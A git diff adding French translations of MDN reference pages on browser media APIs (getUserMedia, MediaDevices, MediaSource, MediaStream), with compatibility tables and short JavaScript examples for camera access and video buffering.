+<p><span class="notranslate">Pour utiliser <code>getUserMedia()</code> dans une application installable (par exemple, une <a href="https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=fr&amp;prev=search&amp;rurl=translate.google.fr&amp;sl=en&amp;sp=nmt4&amp;u=https://developer.mozilla.org/en-US/Apps/Build/Building_apps_for_Firefox_OS/Firefox_OS_app_beginners_tutorial&amp;usg=ALkJrhjjqOGYUEn75gZx3AcoQDArrosa9Q">application Firefox OS</a> ), vous devez spécifier un ou les deux champs suivants dans votre fichier manifeste:</span></p>
+
+<pre class="brush: js">"permissions": {
+  "audio-capture": {
+    "description": "Required to capture audio using getUserMedia()"
+  },
+  "video-capture": {
+    "description": "Required to capture video using getUserMedia()"
+  }
+}</pre>
+
+<p><span class="notranslate">Voir </span> <a href="https://developer.mozilla.org/en-US/Apps/Developing/App_permissions#audio-capture">permission: audio-capture</a> <span class="notranslate"> et </span> <a href="https://developer.mozilla.org/en-US/Apps/Developing/App_permissions#video-capture">permission: video-capture</a> <span class="notranslate"> pour plus d'informations.</span></p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Media Capture', '#dom-mediadevices-getusermedia', 'MediaDevices.getUserMedia()')}}</td>
+   <td>{{Spec2('Media Capture')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Microsoft Edge</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(53.0)}}<sup>[1][3]</sup></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(36)}}<sup>[2][4]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatOpera(40)}}<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>Promises</td>
+   <td>{{CompatChrome(53.0)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop(38)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android Webview</th>
+   <th>Chrome for Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(53.0)}}<sup>[1][3]</sup></td>
+   <td>{{CompatChrome(53.0)}}<sup>[1][3]</sup></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile(36)}} <sup>[2]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatOperaMobile(40)}}<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>Promises</td>
+   <td>{{CompatChrome(53.0)}}</td>
+   <td>{{CompatChrome(53.0)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile(38)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] <span class="notranslate"> Les versions plus anciennes de Chrome et Opera implémentent <code>navigator.webkitGetUserMedia</code> , la version préfixée de la méthode </span> {{domxref("navigator.getUserMedia")}} <span class="notranslate"> .</span></p>
+
+<p><span class="notranslate">De la version 47 à la 52, l'interface promise n'est disponible que via  </span> <a href="https://github.com/webrtc/adapter">adapter.js</a><span class="notranslate">, ou en utilisant les options flag</span> <a>chrome://flags/#enable-experimental-web-platform-features</a> <span class="notranslate">.</span> <span class="notranslate"> À partir de la version 53, l'interface promise est activée par défaut, même si cette interface n'est toujours pas disponible via le <code>navigator</code> .</span></p>
+
+<p>[2] <span class="notranslate">Les anciennes versions de Firefox implémentent <code>navigator.mozGetUserMedia()</code> , la version préfixée de la méthode </span> {{domxref("navigator.getUserMedia")}} <span class="notranslate"> .</span></p>
+
+<p><span class="notranslate">La version prometteuse de cette méthode et la syntaxe de contrainte décrites ici sont disponibles à partir de Firefox 38. Les versions antérieures (32-37) ont utilisé une syntaxe de contrainte périmée, mais la syntaxe décrite ici, ainsi que l'interface promise est Disponible à l'aide de </span> <a href="https://github.com/webrtc/adapter">adapter.js</a> <span class="notranslate">.</span></p>
+
+<p><span class="notranslate">Firefox 49 comprend des modifications pour mettre les </span> {{anch("Errors", "erreurs")}} <span class="notranslate"> possibles à jour avec la spécification, y compris la modification de la signification de <code>SecurityError</code> .</span> <span class="notranslate"> De plus, si les pistes vidéo et audio sont demandées, <code>getUserMedia()</code> échoue maintenant pour ne pas pouvoir accéder aux deux.</span> <span class="notranslate"> Auparavant, il créerait un flux qui disposait de la partie réussie des médias.</span> <span class="notranslate"> Par exemple, si l'utilisateur dispose d'un microphone mais pas d'appareil photo (ou refusé l'accès à la caméra), les versions précédentes de Firefox renverraient un flux avec une piste audio mais pas de vidéo.</span> <span class="notranslate"> Maintenant, cela entraîne correctement une erreur.</span></p>
+
+<p><span class="notranslate">Opera utilise une syntaxe de contrainte périmée, mais la syntaxe décrite ici est disponible via </span> <a href="https://github.com/webrtc/adapter">adapter.js</a>.</p>
+
+<p>[3] <span class="notranslate">Chrome lance une erreur si la page qui sert le script est chargée d'origine non sécurisée (c'est-à-dire HTTP).</span></p>
+
+<p>[4] <span class="notranslate">Avant Firefox 55, <code>getUserMedia()</code> renvoie incorrectement <code>NotSupportedError</code> lorsque la liste des contraintes spécifiées est vide ou que toutes les contraintes sont définies comme <code>false</code> .</span> <span class="notranslate"> À partir de Firefox 55, cette situation appelle correctement le gestionnaire d'échec avec un <code>TypeError</code> .</span></p>
+
+<h2 id="Voir_également"><span class="notranslate">Voir également</span></h2>
+
+<ul>
+ <li><span class="notranslate">L'ancien API</span> {{domxref("navigator.getUserMedia()")}}.</li>
+ <li>{{domxref("mediaDevices.enumerateDevices()")}}: <span class="notranslate">Apprenez les types et le nombre de périphériques que l'utilisateur dispose.</span></li>
+ <li><a href="/en-US/docs/Web/API/WebRTC_API">WebRTC API</a></li>
+ <li><a href="/en-US/docs/Web/API/Media_Streams_API">Media Capture and Streams API (Media Streams)</a></li>
+ <li><a href="/en-US/docs/Web/API/WebRTC_API/Taking_still_photos">Taking webcam photos</a>: <span class="notranslate">un didacticiel sur l'utilisation de <code>getUserMedia()</code> pour prendre des photos plutôt que de la vidéo.</span></li>
+</ul>
diff --git a/files/fr/web/api/mediadevices/index.html b/files/fr/web/api/mediadevices/index.html
new file mode 100644
index 0000000000..fa78862e35
--- /dev/null
+++ b/files/fr/web/api/mediadevices/index.html
@@ -0,0 +1,126 @@
+---
+title: MediaDevices
+slug: Web/API/MediaDevices
+tags:
+  - API
+  - Appareils
+  - Audio
+  - Conference
+  - Interface
+  - Media
+  - Partage
+  - Reference
+  - Video
+  - WebRTC
+translation_of: Web/API/MediaDevices
+---
+<div>{{APIRef("Media Capture and Streams")}}</div>
+
+<p><span class="seoSummary">L'interface <strong><code>MediaDevices</code></strong> permet d'accéder aux périphériques d'entrée multimédia connectés tels que les caméras et les microphones, ainsi que le partage d'écran. Essentiellement, il vous permet d'accéder à n'importe quelle source matérielle de données multimédias.</span></p>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<p><em>Hérite des propriétés de son interface parente, {{domxref("EventTarget")}}.</em></p>
+
+<h2 id="Handlers" name="Handlers">Événéments</h2>
+
+<dl>
+ <dt>{{domxref("MediaDevices/devicechange_event", "devicechange")}}</dt>
+ <dd>Déclenché lorsqu'un périphérique d'entrée ou de sortie multimédia est connecté ou retiré de l'ordinateur de l'utilisateur.<br>
+ Egalement disponible via la propriété {{domxref("MediaDevices/ondevicechange", "ondevicechange")}}.</dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<p><em>Hérite des méthodes de son interface parente, {{domxref("EventTarget")}}.</em></p>
+
+<dl>
+ <dt>{{ domxref("MediaDevices.enumerateDevices", "enumerateDevices()") }}</dt>
+ <dd>Obtient un tableau d'informations sur les périphériques d'entrée et de sortie multimédia disponibles sur le système.</dd>
+ <dt>{{domxref("MediaDevices.getSupportedConstraints", "getSupportedConstraints()")}}</dt>
+ <dd>Renvoie un objet conforme à {{domxref("MediaTrackSupportedConstraints")}} indiquant quelles propriétés de contrainte sont prises en charge sur l'interface {{domxref("MediaStreamTrack")}}. Consultez {{SectionOnPage("/en-US/docs/Web/API/Media_Streams_API", "Capabilities and constraints")}} pour en savoir plus sur les contraintes et comment les utiliser.</dd>
+ <dt>{{domxref("MediaDevices.getDisplayMedia", "getDisplayMedia()")}}</dt>
+ <dd>Invite l'utilisateur à sélectionner un affichage ou une partie d'un affichage (comme une fenêtre) à capturer en tant que {{domxref("MediaStream")}} à des fins de partage ou d'enregistrement. Renvoie une promesse qui se résout en un <code>MediaStream</code>.</dd>
+ <dt>{{ domxref("MediaDevices.getUserMedia", "getUserMedia()") }}</dt>
+ <dd>Avec l'autorisation de l'utilisateur via une invite, allume une caméra et / ou un microphone sur le système et fournit un {{domxref("MediaStream")}} contenant une piste vidéo et / ou une piste audio avec l'entrée.</dd>
+</dl>
+
+<h2 id="Exemple">Exemple</h2>
+
+<pre class="brush:js notranslate">'use strict';
+
+// Placez les variables dans la portée globale pour les rendre disponibles à la console du navigateur.
+var video = document.querySelector('video');
+var constraints = window.constraints = {
+  audio: false,
+  video: true
+};
+var errorElement = document.querySelector('#errorMsg');
+
+navigator.mediaDevices.getUserMedia(constraints)
+.then(function(stream) {
+  var videoTracks = stream.getVideoTracks();
+  console.log('Got stream with constraints:', constraints);
+  console.log('Using video device: ' + videoTracks[0].label);
+  stream.onremovetrack = function() {
+    console.log('Stream ended');
+  };
+  window.stream = stream; // rendre la variable disponible dans la console du navigateur
+  video.srcObject = stream;
+})
+.catch(function(error) {
+  if (error.name === 'ConstraintNotSatisfiedError') {
+    errorMsg('The resolution ' + constraints.video.width.exact + 'x' +
+        constraints.video.height.exact + ' px is not supported by your device.');
+  } else if (error.name === 'PermissionDeniedError') {
+    errorMsg('Permissions have not been granted to use your camera and ' +
+      'microphone, you need to allow the page access to your devices in ' +
+      'order for the demo to work.');
+  }
+  errorMsg('getUserMedia error: ' + error.name, error);
+});
+
+function errorMsg(msg, error) {
+  errorElement.innerHTML += '&lt;p&gt;' + msg + '&lt;/p&gt;';
+  if (typeof error !== 'undefined') {
+    console.error(error);
+  }
+}</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Media Capture', '#mediadevices', 'MediaDevices')}}</td>
+   <td>{{Spec2('Media Capture')}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+<div class="hidden">Le tableau de compatibilité de cette page est généré à partir de données structurées. Si vous souhaitez contribuer aux données, veuillez consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et envoyez-nous une pull request.</div>
+
+<p>{{Compat("api.MediaDevices")}}</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Media_Streams_API">Media Capture et Streams API</a>: l'API dont cette interface fait partie.</li>
+ <li><a href="/en-US/docs/Web/API/Screen_Capture_API">API de capture d'écran</a>: L'API définissant la méthode {{domxref("MediaDevices.getDisplayMedia", "getDisplayMedia()")}}.</li>
+ <li><a href="/en-US/docs/Web/API/WebRTC_API">WebRTC API</a></li>
+ <li>{{domxref("Navigator.mediaDevices")}}: Renvoie une référence à un objet <code>MediaDevices</code> qui peut être utilisé pour accéder aux périphériques.</li>
+ <li><a href="https://github.com/chrisjohndigital/CameraCaptureJS">CameraCaptureJS:</a> Capture et lecture vidéo HTML5 à l'aide de <code>MediaDevices</code> et de l'API d'enregistrement MediaStream (<a href="https://github.com/chrisjohndigital/CameraCaptureJS">source sur GitHub</a>)</li>
+ <li><a href="https://github.com/chrisjohndigital/OpenLang">OpenLang</a>: Application Web de laboratoire de langage vidéo HTML5 video utilisant <code>MediaDevices</code> et l'API d'enregistrement MediaStream pour l'enregistrement vidéo (<a href="https://github.com/chrisjohndigital/OpenLang">source sur GitHub</a>)</li>
+</ul>
diff --git a/files/fr/web/api/mediasource/index.html b/files/fr/web/api/mediasource/index.html
new file mode 100644
index 0000000000..5c3c303bdd
--- /dev/null
+++ b/files/fr/web/api/mediasource/index.html
@@ -0,0 +1,155 @@
+---
+title: MediaSource
+slug: Web/API/MediaSource
+tags:
+  - API
+  - Audio
+  - Experimental
+  - Extensions
+  - Interface
+  - MSE
+  - Media
+  - MediaSource
+  - MediaSource Extensions
+  - Reference
+  - TopicStub
+  - Video
+translation_of: Web/API/MediaSource
+---
+<p>{{APIRef("Media Source Extensions")}}{{SeeCompatTable}}</p>
+
+<p>L'interface <strong><code>MediaSource</code></strong> de l'<a href="/en-US/docs/Web/API/Media_Source_Extensions_API">API Media Source Extensions</a> représente une source de données multimédia pour un objet {{domxref("HTMLMediaElement")}}. Un objet <code>MediaSource</code> peut être attaché à un {{domxref("HTMLMediaElement")}} pour être lu dans l'agent utilisateur.</p>
+
+<p>{{InheritanceDiagram}}</p>
+
+<h2 id="Constructeur">Constructeur</h2>
+
+<dl>
+ <dt>{{domxref("MediaSource.MediaSource", "MediaSource()")}}</dt>
+ <dd>Construit et renvoie un nouvel objet <code>MediaSource</code> sans tampon source associé.</dd>
+</dl>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<dl>
+ <dt>{{domxref("MediaSource.sourceBuffers")}} {{readonlyInline}}</dt>
+ <dd>Renvoie un objet {{domxref("SourceBufferList")}} contenant la liste des objets {{domxref("SourceBuffer")}} associés à ce <code>MediaSource</code>.</dd>
+ <dt>{{domxref("MediaSource.activeSourceBuffers")}} {{readonlyInline}}</dt>
+ <dd>Renvoie un objet {{domxref("SourceBufferList")}} contenant un sous-ensemble des objets {{domxref("SourceBuffer")}} contenus dans {{domxref("MediaSource.sourceBuffers")}} — la liste des objets fournissant la piste vidéo sélectionnée, pistes audio activées et pistes de texte affichées / masquées.</dd>
+ <dt>{{domxref("MediaSource.readyState")}} {{readonlyInline}}</dt>
+ <dd>Renvoie une énumération représentant l'état de la <code>MediaSource</code> actuelle, qu'elle ne soit pas actuellement attachée à un élément multimédia (<code>fermé</code>), attachée et prête à recevoir des objets {{domxref("SourceBuffer")}} (<code>ouvert</code>), ou attachée mais le flux a été terminé via {{domxref("MediaSource.endOfStream()")}} (<code>terminé</code>).</dd>
+ <dt>{{domxref("MediaSource.duration")}}</dt>
+ <dd>Obtient et définit la durée du média actuel présenté.</dd>
+</dl>
+
+<h3 id="Gestionnaires_dévénements">Gestionnaires d'événements</h3>
+
+<dl>
+ <dt>{{domxref("MediaSource.onsourceclose")}}</dt>
+ <dd>Le gestionnaire d'événements pour l'événement <code>sourceclose</code>.</dd>
+ <dt>{{domxref("MediaSource.onsourceended")}}</dt>
+ <dd>Le gestionnaire d'événements pour l'événement <code>sourceended</code>.</dd>
+ <dt>{{domxref("MediaSource.onsourceopen")}}</dt>
+ <dd>Le gestionnaire d'événements pour l'événement <code>sourceopen</code>.</dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<p><em>Hérite des méthodes de son interface parente, {{domxref("EventTarget")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("MediaSource.addSourceBuffer()")}}</dt>
+ <dd>Crée un nouveau {{domxref ("SourceBuffer")}} du type MIME donné et l'ajoute à la liste {{domxref ("MediaSource.sourceBuffers")}}.</dd>
+ <dt>{{domxref("MediaSource.clearLiveSeekableRange()")}}</dt>
+ <dd>Efface un ensemble privé de plage de recherche avec un appel à <code>setLiveSeekableRange()</code>.</dd>
+ <dt>{{domxref("MediaSource.endOfStream()")}}</dt>
+ <dd>Signale la fin du flux.</dd>
+ <dt>{{domxref("MediaSource.removeSourceBuffer()")}}</dt>
+ <dd>Supprime le {{domxref ("SourceBuffer")}} donné de la liste {{domxref ("MediaSource.sourceBuffers")}}.</dd>
+ <dt>{{domxref("MediaSource.setLiveSeekableRange()")}}</dt>
+ <dd>Définit la plage que l'utilisateur peut rechercher dans l'élément multimédia.</dd>
+</dl>
+
+<h2 id="Méthodes_statiques">Méthodes statiques</h2>
+
+<dl>
+ <dt>{{domxref("MediaSource.isTypeSupported()")}}</dt>
+ <dd>Renvoie une valeur {{domxref ("Boolean")}} indiquant si le type MIME donné est pris en charge par l'agent utilisateur actuel - c'est-à-dire s'il parvient à créer des objets {{domxref ("SourceBuffer")}} pour ce type MIME .</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>L'exemple simple suivant charge une vidéo avec {{domxref ("XMLHttpRequest")}} et la lit dès que possible. Cet exemple a été écrit par Nick Desaulniers et peut être <a href="http://nickdesaulniers.github.io/netfix/demo/bufferAll.html">consulté en direct ici</a> (vous pouvez aussi <a href="https://github.com/nickdesaulniers/netfix/blob/gh-pages/demo/bufferAll.html">télécharger la source</a> pour une enquête plus approfondie).</p>
+
+<pre class="brush: js notranslate">var video = document.querySelector('video');
+
+var assetURL = 'frag_bunny.mp4';
+// Need to be specific for Blink regarding codecs
+// ./mp4info frag_bunny.mp4 | grep Codec
+var mimeCodec = 'video/mp4; codecs="avc1.42E01E, mp4a.40.2"';
+
+if ('MediaSource' in window &amp;&amp; MediaSource.isTypeSupported(mimeCodec)) {
+  var mediaSource = new MediaSource();
+  //console.log(mediaSource.readyState); // closed
+  video.src = URL.createObjectURL(mediaSource);
+  mediaSource.addEventListener('sourceopen', sourceOpen);
+} else {
+  console.error('Unsupported MIME type or codec: ', mimeCodec);
+}
+
+function sourceOpen (_) {
+  //console.log(this.readyState); // open
+  var mediaSource = this;
+  var sourceBuffer = mediaSource.addSourceBuffer(mimeCodec);
+  fetchAB(assetURL, function (buf) {
+    sourceBuffer.addEventListener('updateend', function (_) {
+      mediaSource.endOfStream();
+      video.play();
+      //console.log(mediaSource.readyState); // ended
+    });
+    sourceBuffer.appendBuffer(buf);
+  });
+};
+
+function fetchAB (url, cb) {
+  console.log(url);
+  var xhr = new XMLHttpRequest;
+  xhr.open('get', url);
+  xhr.responseType = 'arraybuffer';
+  xhr.onload = function () {
+    cb(xhr.response);
+  };
+  xhr.send();
+};</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Media Source Extensions', '#mediasource', 'MediaSource')}}</td>
+   <td>{{Spec2('Media Source Extensions')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+<div class="hidden">Le tableau de compatibilité de cette page est généré à partir de données structurées. Si vous souhaitez contribuer aux données, veuillez consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et envoyez-nous une pull request.</div>
+
+<p>{{Compat("api.MediaSource")}}</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("SourceBuffer")}}</li>
+ <li>{{domxref("SourceBufferList")}}</li>
+</ul>
diff --git a/files/fr/web/api/mediasource/mediasource/index.html b/files/fr/web/api/mediasource/mediasource/index.html
new file mode 100644
index 0000000000..dac8c3d8ee
--- /dev/null
+++ b/files/fr/web/api/mediasource/mediasource/index.html
@@ -0,0 +1,54 @@
+---
+title: MediaSource.MediaSource()
+slug: Web/API/MediaSource/MediaSource
+translation_of: Web/API/MediaSource/MediaSource
+---
+<div>{{APIRef("Media Source Extensions")}}{{SeeCompatTable}}</div>
+
+<p>Le constructeur <code><strong>MediaSource()</strong></code> de l'interface {{domxref("MediaSource")}} construit et retourne un nouvel object <code>MediaSource</code> sans buffer associé</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: js">var mediaSource = new MediaSource();</pre>
+
+<h3 id="Paramèteres">Paramèteres</h3>
+
+<p>Aucun.</p>
+
+<h2 id="Example">Example</h2>
+
+<p>Le fragement de code suivant est tiré d'un exemple simple écrit par par Nick Desaulniers (<a href="http://nickdesaulniers.github.io/netfix/demo/bufferAll.html">voir la démonstration complète</a>, ou <a href="https://github.com/nickdesaulniers/netfix/blob/gh-pages/demo/bufferAll.html">télécharger les sources</a> pour une meilleure compréhention.)</p>
+
+<pre class="brush: js">var video = document.querySelector('video');
+
+var assetURL = 'frag_bunny.mp4';
+// A besoin d'être spécifique, Blink (moteur de rendu Chrome) demande le codec
+// ./mp4info frag_bunny.mp4 | grep Codec
+var mimeCodec = 'video/mp4; codecs="avc1.42E01E, mp4a.40.2"';
+
+if ('MediaSource' in window &amp;&amp; MediaSource.isTypeSupported(mimeCodec)) {
+  var mediaSource = new MediaSource;
+  //console.log(mediaSource.readyState); // "closed"
+  video.src = URL.createObjectURL(mediaSource);
+  mediaSource.addEventListener('sourceopen', sourceOpen);
+} else {
+  console.error('Unsupported MIME type or codec: ', mimeCodec);
+}
+
+...
+</pre>
+
+<h2 id="Compatibilitée_des_navigateurs">Compatibilitée des navigateurs</h2>
+
+<div>
+
+
+<p>{{Compat("api.MediaSource.MediaSource")}}</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("SourceBuffer")}}</li>
+ <li>{{domxref("SourceBufferList")}}</li>
+</ul>
diff --git a/files/fr/web/api/mediastream/index.html b/files/fr/web/api/mediastream/index.html
new file mode 100644
index 0000000000..aa4881b5a1
--- /dev/null
+++ b/files/fr/web/api/mediastream/index.html
@@ -0,0 +1,139 @@
+---
+title: MediaStream
+slug: Web/API/MediaStream
+translation_of: Web/API/MediaStream
+---
+<div>{{APIRef("Media Capture and Streams")}} {{SeeCompatTable}}</div>
+
+<p>L'interface <code>MediaStream</code> représente le contenu d'un flux de média. Un flux est composé de plusieurs <em>pistes</em>, tel que des pistes vidéos ou audio.</p>
+
+<h2 id="Attributs">Attributs</h2>
+
+<dl>
+ <dt>{{domxref("MediaStream.id")}} {{readonlyInline}}</dt>
+ <dd>{{domxref("DOMString")}} contenant 36 carractères correspondant à l'identifiant unique (GUID) de l'objet.</dd>
+ <dt>{{domxref("MediaStream.ended")}} {{readonlyInline}}</dt>
+ <dd>Booléen dont la valeur est <code>true</code> si l'évènement <span style="line-height: inherit;">{{event("ended (MediaStream)", "ended")}} à été déclenché sur l'objet, signifiant que le flux à été complètement lu, ou <code>false</code></span> si la fin du flux n'à pas été atteinte.</dd>
+</dl>
+
+<h3 id="Gestionnaire_d'évènements">Gestionnaire d'évènements</h3>
+
+<dl>
+ <dt>{{domxref("MediaStream.onaddtrack")}}</dt>
+ <dd>Est un <span style="line-height: inherit;">{{domxref("EventHandler")}} contenant l'action à exécuter lorsqu'un évènement {{event("addtrack")}} est déclenché sur l'objet, ce qui arrive lorsqu'un nouvel objet {{domxref("MediaStreamTrack")}} est ajouté.</span></dd>
+ <dt>{{domxref("MediaStream.onended")}}</dt>
+ <dd><span style="line-height: inherit;">Est un  {{domxref("EventHandler")}} contenant l'action à exécuter lorsqu'un évènement {{event("ended (MediaStream)","ended")}} est déclenché sur l'objet, ce qui arrive lorsque la diffusion est terminée.</span></dd>
+ <dt>{{domxref("MediaStream.onremovetrack")}}</dt>
+ <dd><span style="line-height: inherit;">Est un {{domxref("EventHandler")}} contenant l'action à exécuter lorsqu'un évènement {{event("removetrack")}} est délenché sur l'objet, ce qui arrive quand un objet  {{domxref("MediaStreamTrack")}} est retiré.</span></dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<dl>
+ <dt>{{domxref("MediaStream.getTrackById()")}}</dt>
+ <dd>Retourne la piste dont l'ID correspond à celui passé en paramètre, <code>trackid</code>. Si aucun paramètre n'est fourni, ou si aucune piste avec cet id existe, la fonction retourne <code>null</code>. Si plusieurs pistes ont le même id, elle retourne la première piste.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("MediaStream.addTrack()")}}</dt>
+ <dd>Stocke une copie de<span style="line-height: inherit;"> {{domxref("MediaStreamTrack")}} fourni en paramètre. Si la piste à déjà été ajouté à l'objet <code>MediaStream</code></span>, rien ne se passe; si la piste est au statut <code>finished</code>, c'est à dire qu'elle est terminée, l'<span style="line-height: inherit;">exception </span><code style="font-size: 14px; line-height: inherit;">INVALID_STATE_RAISE</code><span style="line-height: inherit;"> est levée.</span></dd>
+ <dt>{{domxref("MediaStream.removeTrack()")}}</dt>
+ <dd>Retire le <span style="line-height: inherit;">the {{domxref("MediaStreamTrack")}} fourni comme argument. Si la piste ne fait pas parti du <code>MediaStream</code></span>, rien ne se passe<span style="line-height: inherit;">; Si la piste est au statut <code>finished</code></span>, ce qui arrive lorsqu'elle est terminée, <span style="line-height: inherit;">l'exception </span><code style="font-size: 14px; line-height: inherit;">INVALID_STATE_RAISE</code><span style="line-height: inherit;"> est levée.</span></dd>
+ <dt>{{domxref("MediaStream.getAudioTracks()")}}</dt>
+ <dd>Retourne la liste des<span style="line-height: inherit;"> {{domxref("MediaStreamTrack")}} stockés dans l'objet </span><code style="font-size: 14px; line-height: inherit;">MediaStream</code><span style="line-height: inherit;"> qui ont leur attribut </span><code style="font-size: 14px; line-height: inherit;">kind</code><span style="line-height: inherit;"> défini à </span><code style="font-size: 14px; line-height: inherit;">"audio"</code><span style="line-height: inherit;">. L'ordre n'est pas défini, et peut varier d'un navigateur à l'autre, mais aussi d'un appel de la méthode à l'autre.</span></dd>
+ <dt>{{domxref("MediaStream.getVideoTracks()")}}</dt>
+ <dd>Retourne une liste des<span style="line-height: inherit;"> {{domxref("MediaStreamTrack")}} stockés dans l'objet </span><code style="font-size: 14px; line-height: inherit;">MediaStream</code><span style="line-height: inherit;"> qui ont leur attribut </span><code style="font-size: 14px; line-height: inherit;">kind</code><span style="line-height: inherit;"> défini à </span><code style="font-size: 14px; line-height: inherit;">"video"</code><span style="line-height: inherit;">. L'ordre n'est pas défini, et peut varier d'un navigateur à l'autre, mais aussi d'un appel de la méthode à l'autre.</span></dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p> </p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Media Capture', '#mediastream', 'MediaStream')}}</td>
+   <td>{{Spec2('Media Capture')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support de base</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>getAudioTracks()</code> et <code>getVideoTracks()</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("23.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Support de base</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>getAudioTracks()</code> et <code>getVideoTracks()</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("23.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Using the MediaStream API</li>
+</ul>
